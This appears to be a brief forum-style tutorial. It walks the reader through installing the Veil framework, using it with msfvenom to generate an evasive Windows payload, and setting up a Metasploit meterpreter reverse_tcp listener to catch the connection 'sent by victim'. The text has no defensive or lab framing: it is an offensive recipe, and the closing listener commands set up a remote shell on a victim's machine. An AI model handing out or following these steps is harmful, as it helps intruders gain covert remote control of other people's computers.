Requirements: Linux with Metasploit Framework and Veil
Download Veil here!
So first of all, download and unzip the Veil Package!
(I will use [ code] for the commands!)
now navigate to the setup directory in the Veil Folder
Then run setup.sh
Now you just have to click always “Forward” until Python 2.7.5, Pywin and Pycrypto is set up!
Open now Veil Folder and Veil.py
You can see 9 Options, select one you like!
Then use the default msfvenom!
Now it will generate a Payload for you !
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.178.1 [your local or remote host]
set lport 2357 [the port you selected]
Congratualtion, your Payload was generated successfully!